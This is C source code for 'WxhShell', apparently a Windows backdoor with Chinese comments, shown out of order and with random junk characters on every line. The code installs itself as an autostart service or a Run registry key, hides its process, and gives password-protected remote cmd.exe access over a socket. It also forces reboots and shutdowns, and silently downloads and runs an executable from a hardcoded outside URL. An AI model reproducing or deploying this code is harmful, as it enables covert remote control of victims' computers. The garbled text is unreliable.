    ExitThread(0); FHnHhB[  
    } SbQ{ >  
    break; k^vmRe<lk  
    } OM.(g%2  
  // 关机 ,rvZW}=  
  case 'd': { S quqaX+<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z)Xq!]~/g  
    if(Boot(SHUTDOWN)) pqNoL* H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Di5Op(S((  
    else { 37<GG)  
    closesocket(wsh); /fcwz5~  
    ExitThread(0); #!F8n`C-  
    } s3fGX|;  
    break; @% 5F^Vbd  
    } M#22Zfxq   
  // 获取shell %Tm' aY"  
  case 's': { X~/ 9Vd g  
    CmdShell(wsh); YRT}fd>R&  
    closesocket(wsh); sjVl/t`l  
    ExitThread(0); R.n`R|NOd  
    break; 5Dh&ez`oR'  
  } $(<*pU  
  // 退出 Q=9VuTE  
  case 'x': { EzY scX.[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E rRMiT  
    CloseIt(wsh); a} Iz  
    break; WY ^K7U  
    } BfO}4  
  // 离开 :Q%yW%St$  
  case 'q': { )="g?E3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9DocId.  
    closesocket(wsh); h?O%XnD  
    WSACleanup(); }e;p8)]Wl  
    exit(1); nh_xbo5L[  
    break; 70 D Q/b  
        } G#=b6DB  
  } S3[oA&  
  } L:];[xa%  
hF?\K^tF  
  // 提示信息 Q0oDl8~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZB h@%A  
} 'XjHB!!hU  
  } J1wGK|F~  
%>QSeX  
  return; }Q,C;!'"  
} r|sy_Sk/{  
@%okaj#IO  
// shell模块句柄 ,jdKcWy'  
int CmdShell(SOCKET sock) bgx5{!A  
{ _M[[o5{  
STARTUPINFO si; 1,sO =p)Yg  
ZeroMemory(&si,sizeof(si)); _KlPbyLU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )Z`viT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -1Ki7|0,  
PROCESS_INFORMATION ProcessInfo; z@40 g)R2A  
char cmdline[]="cmd"; ;R-Q,aCM}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ckkM)|kK  
  return 0; p RfHbPV?  
} Mdq'> <ajL  
P<w>1 =  
// 自身启动模式 vmQ DcCw  
int StartFromService(void) 3_['[}  
{ a>e 1jM[  
typedef struct L&F\"q9q71  
{ ;@$," P  
  DWORD ExitStatus; nHL>}Yg  
  DWORD PebBaseAddress; pl? J<48  
  DWORD AffinityMask; SF}L3/C&h  
  DWORD BasePriority; !EC\1rmdlN  
  ULONG UniqueProcessId; '[M2Q"X  
  ULONG InheritedFromUniqueProcessId; gbi~!S-  
}   PROCESS_BASIC_INFORMATION; *xX0]{49q  
X([n>w  
PROCNTQSIP NtQueryInformationProcess; a}8>(jtSt  
n@8{FoF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e2H'uMy;&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; XT;IEZQZ  
7UnO/K7oB.  
  HANDLE             hProcess; v?iH}7zb%Q  
  PROCESS_BASIC_INFORMATION pbi; CX(yrP6;  
:=fHPT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2tTV5,(1  
  if(NULL == hInst ) return 0; yvnrZ&x :  
Ib<+m%Ac  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <UHf7:0V  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kT3;%D^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uTF EI.N  
vVRCM  
  if (!NtQueryInformationProcess) return 0; K>E!W!-PJ  
J};,%q_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8Y kH  
  if(!hProcess) return 0; i7E7%~S  
i}12mjF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rs)aEmvC  
=cX"gI[  
  CloseHandle(hProcess); X| 0`$f  
{.[,ee-)9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v}t :}M<;  
if(hProcess==NULL) return 0; gG|1$  
D+nj[8y  
HMODULE hMod; @G&xq "Fg7  
char procName[255]; 04LVa|Y@U  
unsigned long cbNeeded; :'Kx?Es   
15yV4wHr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F973U  
<qZ+U4@I)  
  CloseHandle(hProcess); faeyk]u  
iV$75Atk  
if(strstr(procName,"services")) return 1; // 以服务启动 Cl){sP=8W  
:re(khZq#  
  return 0; // 注册表启动 (B4 A$t  
} >LZ)<-Mk  
'wHkE/ 83  
// 主模块 {}2p1-(  
int StartWxhshell(LPSTR lpCmdLine) JH,fg K+[  
{ m|?J^_  
  SOCKET wsl; mAERZ<I  
BOOL val=TRUE; T[II;[EiE  
  int port=0; :9< r(22  
  struct sockaddr_in door; <J uJ`t  
Tm,L?Jh  
  if(wscfg.ws_autoins) Install(); Q>Q}/{8!  
"uNxKLDB  
port=atoi(lpCmdLine); ^qy-el  
8 ?R_O}U  
if(port<=0) port=wscfg.ws_port; \r&@3a.>  
nFn`>kQ  
  WSADATA data; ho=]'MS|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {:j!@w3  
d|HM  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   AMiFsgBj  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); QxL FN(d  
  door.sin_family = AF_INET; =C}<0<"iF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); lBC-G*#  
  door.sin_port = htons(port); zIm!8a  
tOVm~C,R  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0(6`dr_  
closesocket(wsl); gx.]4 v  
return 1; lt"*y.%@b  
} [l{eJ /W  
r\D8_S_  
  if(listen(wsl,2) == INVALID_SOCKET) { :cz]8~i\  
closesocket(wsl); H(m+rk  
return 1; *a.*Ha  
} kV<)>Gs  
  Wxhshell(wsl); )SLs  [  
  WSACleanup(); a VMFjkW  
\5_^P{p7<  
return 0; (LPc\\Vv  
W.<<azi  
} _QCI< |A  
(`*wiu+i  
// 以NT服务方式启动 0_.hU^fP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) t fQq3#  
{ |`/uS;O  
DWORD   status = 0; m^+ ~pC5  
  DWORD   specificError = 0xfffffff; YtQWArX,  
N$b;8F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k,(_R=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2"^9t1C2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k"c_x*f  
  serviceStatus.dwWin32ExitCode     = 0; F4{<;4N0  
  serviceStatus.dwServiceSpecificExitCode = 0; pP& M]'  
  serviceStatus.dwCheckPoint       = 0; ^a5>`W  
  serviceStatus.dwWaitHint       = 0; {HDlv[O%  
z#/*LP#oY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c^k. <EA  
  if (hServiceStatusHandle==0) return; -qF|Y f  
 K>eG5tt  
status = GetLastError(); 1=.?KAXR  
  if (status!=NO_ERROR) b>EUa> h  
{ /ep~/#Ia  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?8/h3xV;  
    serviceStatus.dwCheckPoint       = 0; ]vErF=[U,  
    serviceStatus.dwWaitHint       = 0; ';F][x5j  
    serviceStatus.dwWin32ExitCode     = status; 1>{(dd?L  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2N]s}/l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {D#`+uw  
    return; xx8na8  
  } V|`|CVFo]  
YJ$ =`lIM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kRPg^Fw"Vw  
  serviceStatus.dwCheckPoint       = 0; >AJ|F)  
  serviceStatus.dwWaitHint       = 0; [l:.Q?? )|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Mr(3]EfgO  
} eW%jDsC  
RdHR[Usm  
// 处理NT服务事件,比如:启动、停止 Tkf !Y?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) yL-L2  
{ X;tk\Ixd  
switch(fdwControl) 89bKnsV  
{ }fZBP]<I(  
case SERVICE_CONTROL_STOP: VCO/s9AL  
  serviceStatus.dwWin32ExitCode = 0; @d|9(,Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m6D4J=59  
  serviceStatus.dwCheckPoint   = 0; (#qVtN`t  
  serviceStatus.dwWaitHint     = 0; N%+M+zEJ  
  { kF .b)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dPId= w)  
  } 7(Kc9sJC%%  
  return; 5$X{{j2  
case SERVICE_CONTROL_PAUSE: %#~Wk|8} Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7&1: ]{_  
  break; 5JXLfYTUI  
case SERVICE_CONTROL_CONTINUE: (WvA9s{/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; aT#|mk=\  
  break; 0 M?}S~p]  
case SERVICE_CONTROL_INTERROGATE: dGe  
  break; CS49M  
}; yk/XfwQ5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \\JXY*DA:+  
} T~>:8i  
?a@l.ZM*  
// 标准应用程序主函数 *VB*/^6A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ix;8S=eP~{  
{ \ :.p8`  
D5x^O2  
// 获取操作系统版本 ,PY e7c  
OsIsNt=GetOsVer(); g:yK/1@Hk}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9 pn1d.  
V5+a[`]  
  // 从命令行安装 &PX'=UT  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0'uj*Y{L  
p WHu[Fu  
  // 下载执行文件 .anL}OA_q  
if(wscfg.ws_downexe) { uHYI :(O  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,U}8(D~:  
  WinExec(wscfg.ws_filenam,SW_HIDE); 75y#^pD?c  
} b%(0AL  
z~qQ@u|  
if(!OsIsNt) { =[kv@ p  
// 如果时win9x,隐藏进程并且设置为注册表启动 UuGv= yC^6  
HideProc(); ^&Bye?`5  
StartWxhshell(lpCmdLine); _17"T0  
} mD! imq%=  
else 3-'|hb  
  if(StartFromService()) gK /K Z8  
  // 以服务方式启动 4)_ [)MZ\j  
  StartServiceCtrlDispatcher(DispatchTable); OuoZd!"qf  
else #~b9H05D  
  // 普通方式启动 `m5iZxhw  
  StartWxhshell(lpCmdLine); V.J%4&^X  
ZfU_4Pl->  
return 0; y06 2/$*$  
} !k:j+h/  
/+u*9ZR&1  
9YKEME+:  
^^m%[$nw&r  
=========================================== SzgVvmM}  
tyh%s"  
pyKMi /)bL  
j^gF~ Wz^  
'5%DKz  
` Oi@7 /oT  
" 7_RU*U^  
#p]O n87>  
#include <stdio.h> L@wnzt  
#include <string.h> JsV#:  
#include <windows.h> S<TfvQ\,"@  
#include <winsock2.h> 4?Io@[7A)  
#include <winsvc.h> (&S v $L@  
#include <urlmon.h> ="`y<J P  
X^ovP'c2  
#pragma comment (lib, "Ws2_32.lib") VaB7)r  
#pragma comment (lib, "urlmon.lib") 0pQ>V)  
,Gfnf%H\8>  
#define MAX_USER   100 // 最大客户端连接数 p: o*=  
#define BUF_SOCK   200 // sock buffer ;(V=disU/  
#define KEY_BUFF   255 // 输入 buffer tc[PJH&P  
*;Vq0a!  
#define REBOOT     0   // 重启 m+gVGK  
#define SHUTDOWN   1   // 关机 aUnm9u r  
x\*5A,w{c]  
#define DEF_PORT   5000 // 监听端口 O1 z>A  
=c|Bu^(Ctw  
#define REG_LEN     16   // 注册表键长度 -&c@c@dC  
#define SVC_LEN     80   // NT服务名长度 {PU[MHZF  
]n{2cPx5d  
// 从dll定义API xsfq[}eH<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #\}hN~@F  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X_h+\ 7N>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); YXvKDw'95  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .}tL:^'~o  
@wo9;DW`  
// wxhshell配置信息 &c]x;#-y  
struct WSCFG { ;j$84o{  
  int ws_port;         // 监听端口  *q^'%'  
  char ws_passstr[REG_LEN]; // 口令 ,"D1!0  
  int ws_autoins;       // 安装标记, 1=yes 0=no G 5)?!  
  char ws_regname[REG_LEN]; // 注册表键名 _?{2{^v  
  char ws_svcname[REG_LEN]; // 服务名 &rn,[w_F[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F?UL0Q|uv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \1tce`+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nP}/#Wy  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |aZ^K\yIF  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" { Z|C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $1axZ~8sS  
O @w=  
}; l6i 2!&8P%  
/( q*  
// default Wxhshell configuration 2]@U$E='s  
struct WSCFG wscfg={DEF_PORT, <Sz9: hg-  
    "xuhuanlingzhe", Ss8`;>  
    1, A3Su&0uaB  
    "Wxhshell",  9( m^^  
    "Wxhshell", 69_c,(M0  
            "WxhShell Service", (vQShe\  
    "Wrsky Windows CmdShell Service", C. Sb4i*  
    "Please Input Your Password: ", ]|-y[iu  
  1, %hXa5}JL  
  "http://www.wrsky.com/wxhshell.exe", a(m#GES  
  "Wxhshell.exe" j#-74{Y$ J  
    }; 7|{QAv  
NWKD:{  
// 消息定义模块 1r;Q5[@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 46mu,v  
char *msg_ws_prompt="\n\r? for help\n\r#>";  "d A"N$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &oT]ycz%  
char *msg_ws_ext="\n\rExit."; C4b3ZcD2  
char *msg_ws_end="\n\rQuit."; *bR _ C"-  
char *msg_ws_boot="\n\rReboot..."; y_\d[  
char *msg_ws_poff="\n\rShutdown..."; *QrTZ$\C  
char *msg_ws_down="\n\rSave to "; a+ ]@$8+  
2^|*M@3r  
char *msg_ws_err="\n\rErr!"; j3$KYf`T}  
char *msg_ws_ok="\n\rOK!"; f1Rm9``  
RNm/&F1C$  
char ExeFile[MAX_PATH]; ^f4qs  
int nUser = 0; ]+J]}C]\d  
HANDLE handles[MAX_USER]; ?A]:`l_"  
int OsIsNt;  6CCM7  
 HSTtDTo  
SERVICE_STATUS       serviceStatus; hGPjH=^EM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S:Hg =|R  
zg)]:  
// 函数声明 $PNR?  
int Install(void); Wt_@ vs@.O  
int Uninstall(void); `TAhW  
int DownloadFile(char *sURL, SOCKET wsh); eQMY3/#  
int Boot(int flag); e\\ I,  
void HideProc(void); /H}83 C  
int GetOsVer(void); ?:UDK?  
int Wxhshell(SOCKET wsl); vRm;H|[%S  
void TalkWithClient(void *cs); `2GHB@S"k  
int CmdShell(SOCKET sock); 2 &R-z G  
int StartFromService(void); ;hRo} +\l  
int StartWxhshell(LPSTR lpCmdLine); 4O2O0\o:  
b8>r UGA{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *ozeoX'5D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ' R{ [Y)  
4SmhtC  
// 数据结构和表定义 C]{43  
SERVICE_TABLE_ENTRY DispatchTable[] = ptX;-'j(  
{ >i=mw5`D]  
{wscfg.ws_svcname, NTServiceMain}, |',MgA  
{NULL, NULL} yY8q{\G  
}; =EFF2M`F  
xqIt?v2c  
// 自我安装  $ l Y  
int Install(void) Fz-Bd*uS  
{ o ;.j_  
  char svExeFile[MAX_PATH]; $n!saPpxS  
  HKEY key; `j@2[XdHu  
  strcpy(svExeFile,ExeFile); ij/ |~-!  
kAU[lPt*R  
// 如果是win9x系统,修改注册表设为自启动 U^[<G6<9]  
if(!OsIsNt) { 7?e*b(vd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vWwp'q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e;!si>N  
  RegCloseKey(key); g;vG6!;E\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ( J5E]NV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =ejkE; %L  
  RegCloseKey(key); @"];\E$sI  
  return 0; Q!MS_ #O  
    } YS%HZFY, "  
  } _r&`[@m  
} m%l\EE  
else { ,{7Z OzA  
8h}o5B  
// 如果是NT以上系统,安装为系统服务 7@5}WNr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9>%ti&_-jt  
if (schSCManager!=0)  GVe[)R  
{ BG/M3  
  SC_HANDLE schService = CreateService y?;&(Tcbt8  
  ( eA4@)6WP(  
  schSCManager, an=8['X  
  wscfg.ws_svcname, b<NI6z8\  
  wscfg.ws_svcdisp, 3 `$-  
  SERVICE_ALL_ACCESS, K'Wg_ihA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p8frSrcU  
  SERVICE_AUTO_START, *ax$R6a#X  
  SERVICE_ERROR_NORMAL, &+Xj%x.]  
  svExeFile, _|`S9Nms  
  NULL, ,)|nxX  
  NULL, V'^Hn?1^  
  NULL, D!+d]A[r  
  NULL, H9F\<5n]-l  
  NULL ymiOtA Z  
  ); ESft:3xyw  
  if (schService!=0) ]:8:|*w  
  { Wyd,7]'z)Z  
  CloseServiceHandle(schService); cE$7CSR  
  CloseServiceHandle(schSCManager); 0ERA(=w5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); QGs\af  
  strcat(svExeFile,wscfg.ws_svcname); ~sx?aiO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3[amCKel  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _f8Wa u# "  
  RegCloseKey(key); &82Za%  
  return 0; uPQ:}zL2  
    } ^giseWR(  
  } '1_CMr  
  CloseServiceHandle(schSCManager); 4f:B2x{  
} $i;%n1VBg  
} 1 \:5ow&a  
pqmtN*zV  
return 1; 3dTz$s/[  
} 8m\* ~IX=  
gi#bU  
// 自我卸载 +`>Tuz~  
int Uninstall(void) ~7IXJeon  
{ "AMbU6 8  
  HKEY key; _o`+c wc  
?A+-k4l  
if(!OsIsNt) { YzNSZJPD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Btp 9v<"  
  RegDeleteValue(key,wscfg.ws_regname); JvX]^t/}  
  RegCloseKey(key); .zZee,kM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s]@()?.E$  
  RegDeleteValue(key,wscfg.ws_regname); b"DaLwKkz  
  RegCloseKey(key); L3/m}AH,  
  return 0; V{+'(<SV  
  } pyJY]"UHVE  
} E<]O,z;F  
}  Wa7-N4  
else { DybuLB$f  
+}[M&D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sxkWg>  
if (schSCManager!=0) Au~l O  
{ &c>%E%!"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); p8,Rr{  
  if (schService!=0) w+($= n~  
  { ;5Spdi4w  
  if(DeleteService(schService)!=0) { H\H4AAP5F$  
  CloseServiceHandle(schService); iq*]CF  
  CloseServiceHandle(schSCManager); pY]T3 2  
  return 0; 9K,PT.c  
  } 1k"<T7K  
  CloseServiceHandle(schService); |qTvy,U[  
  } A:! _ &  
  CloseServiceHandle(schSCManager); 3Z/_}5%"  
} [@ >}  
} `Y]t*` e|  
$FXlH;_7  
return 1; .Nt;J,U  
} HueGARS  
;+C2P@M  
// 从指定url下载文件 |I \&r[J  
int DownloadFile(char *sURL, SOCKET wsh) 5argw+2s4$  
{ tZ\e:AAi  
  HRESULT hr; 2[} O:  
char seps[]= "/"; 5 XtIVHA@{  
char *token; 89n\$7Ff9  
char *file; &Z'3n9zl  
char myURL[MAX_PATH]; ETZE.a  
char myFILE[MAX_PATH]; >V1vw7Pa  
+guCTGD:  
strcpy(myURL,sURL); 3ScOJo  
  token=strtok(myURL,seps); ^I W5c>;|  
  while(token!=NULL) r)<c ~\0 7  
  { gOb"-;Zw  
    file=token; M]|tXo$?  
  token=strtok(NULL,seps); PzF>yG[  
  } jEhPx  
CZZwBt$P  
GetCurrentDirectory(MAX_PATH,myFILE); 28 Q\{Z.  
strcat(myFILE, "\\"); YF8;s4  
strcat(myFILE, file); A; _Zw[  
  send(wsh,myFILE,strlen(myFILE),0); -So$ f-y  
send(wsh,"...",3,0); R` g'WaDk  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z H|YVg  
  if(hr==S_OK) (>]frlEU~  
return 0; xB4}9zN s  
else Wdk]>w 'L  
return 1; UA4="/  
Z-%zR'-?*  
} POXd,ON9  
xQUskjv/  
// 系统电源模块 ^k J>4  
int Boot(int flag) ) KvGJo)("  
{ d!57`bVOd  
  HANDLE hToken; &ci;0P#Q  
  TOKEN_PRIVILEGES tkp; Q Uy7Q$W  
i8w/a  
  if(OsIsNt) { ~cv322N   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L`3;9rO  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^iA_<@[`X[  
    tkp.PrivilegeCount = 1; NJ^Bv`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _w}l,   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); WU$l@:Yo  
if(flag==REBOOT) { gUr #3#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) h;[<4zw  
  return 0; 1u8 k}  
} l"zwH  
else { eQqnPqi-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *q&^tn b  
  return 0; ;{lb_du2:  
} E]O/'-  
  } t 7-6A  
  else { I3qTSX-  
if(flag==REBOOT) { x$hT+z6DUC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s3-TBhAv  
  return 0; FW"n+7T  
} T{So 2@_&  
else { iV5S[uy72.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1SF8D`3  
  return 0; 0fJz[;dV>n  
} &K*Kr=9N  
} Np"~1z.(b  
A('o &H  
return 1; g@zhhBtQ  
} Y{d-k1?s5  
J ?0P{{  
// win9x进程隐藏模块 tdsfCvF= a  
void HideProc(void) ?zuKVi? I  
{ H-,p.$3}  
y[{}124  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~2;\)/E\  
  if ( hKernel != NULL ) ^ItL_ 4  
  { !aB~G}'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B ({g|}|G+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); HDO_r(i  
    FreeLibrary(hKernel); <KX fh  
  } vw6>eT  
kGmz1S}2  
return; %At.nlss  
} ;e{e ?,[  
BgT(~8'  
// 获取操作系统版本 d`UK mj  
int GetOsVer(void) Q{|_"sfJ  
{ `mthzc3W  
  OSVERSIONINFO winfo; wQ^RXbJI9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); oFb~|>d  
  GetVersionEx(&winfo); .~C%:bDnX7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) EK&";(x2(  
  return 1; <Nk:C1Op}  
  else 3#? 53s   
  return 0; <0!<T+JQ  
} ;i?rd f  
G<-<>)zO!  
// 客户端句柄模块 Hqtv`3g  
int Wxhshell(SOCKET wsl) )(9[>_+40  
{ Ft^X[5G4L  
  SOCKET wsh; Jcy+(7lE)  
  struct sockaddr_in client;  p9 G{Q  
  DWORD myID; #-i#mbZ e  
a/</P |UG  
  while(nUser<MAX_USER) | |L^yI~_d  
{ LJ6L#es2  
  int nSize=sizeof(client); j}O qWX>/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]N2! 'c  
  if(wsh==INVALID_SOCKET) return 1; D*>#]0X  
ejia4(Cd  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;F_P<b 2  
if(handles[nUser]==0) \.'[!GE*c  
  closesocket(wsh); 1Va=.#<  
else vb| d  
  nUser++; b<%c ]z  
  } Wecxx^vtv6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Vr@tSc&  
R^mkQb>m.  
  return 0; "G^TA:O:=  
} c^rWS&)P  
Zoy)2E{  
// 关闭 socket 18Vn[}]"  
void CloseIt(SOCKET wsh) 6L;]5)#  
{ ==UYjbuU  
closesocket(wsh); p~NHf\  
nUser--; ][KlEE>W2  
ExitThread(0); (_]!}N  
} _e/Bg~  
{ 1_ <\ ~J  
// 客户端请求句柄  Xr:s-L  
void TalkWithClient(void *cs) n.i 8?:  
{ .SLpgYFL{  
(xE |T f  
  SOCKET wsh=(SOCKET)cs; uq/Fapl  
  char pwd[SVC_LEN]; qyAnq%B}  
  char cmd[KEY_BUFF]; l-P6B9e|\  
char chr[1]; cF_`QRtO  
int i,j; +f%"O?  
&6vWz6!P  
  while (nUser < MAX_USER) { +$Y*1{hyOo  
h$}PQ   
if(wscfg.ws_passstr) { 1]9w9! j  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dVk(R9 8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QJ(5o7Tfn  
  //ZeroMemory(pwd,KEY_BUFF); f5p/cUzX  
      i=0; A;^ iy]"  
  while(i<SVC_LEN) { cU-A1W  
NMQG[py!f  
  // 设置超时 t\h4-dJn  
  fd_set FdRead; _Hd|y  
  struct timeval TimeOut;  q(X7e  
  FD_ZERO(&FdRead); WNZYs  
  FD_SET(wsh,&FdRead); V= -  
  TimeOut.tv_sec=8; 6O,:I  
  TimeOut.tv_usec=0; in5e *  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l p(D@FT  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); '<xE 0<  
yZ[=Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rHM^_sYRb  
  pwd=chr[0]; GXIzAB(  
  if(chr[0]==0xd || chr[0]==0xa) { &2U%/JqY  
  pwd=0; `GkCOx,  
  break; a#{"3Z2|  
  } :b*7TJ\grN  
  i++; G"m?2$^-A  
    } V2|By,.  
{F2Rv  
  // 如果是非法用户,关闭 socket e&2,cQRFV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f,F1k9-1!  
} W/%hS)75  
[& Z- *a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7{(UiQbf  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KK5;6b  
fm@Pa} ,  
while(1) { _5H~1G%q  
U[|5:qWs  
  ZeroMemory(cmd,KEY_BUFF); 3 tCTPZy  
tjwn FqI  
      // 自动支持客户端 telnet标准   D(;+my2  
  j=0; 6^t#sEff]  
  while(j<KEY_BUFF) { 6%h%h: e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O_7}H)  
  cmd[j]=chr[0]; 'l=>H#}<B  
  if(chr[0]==0xa || chr[0]==0xd) { $8i`h}AM  
  cmd[j]=0; R<Mc+{*>  
  break; %8 D>aS U  
  } g1|Py t{  
  j++; t0jE\6r  
    } XI ;] c5  
t$%<eF@w  
  // 下载文件 }^0'IAXi  
  if(strstr(cmd,"http://")) { %#rtNDi  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7K "1^  
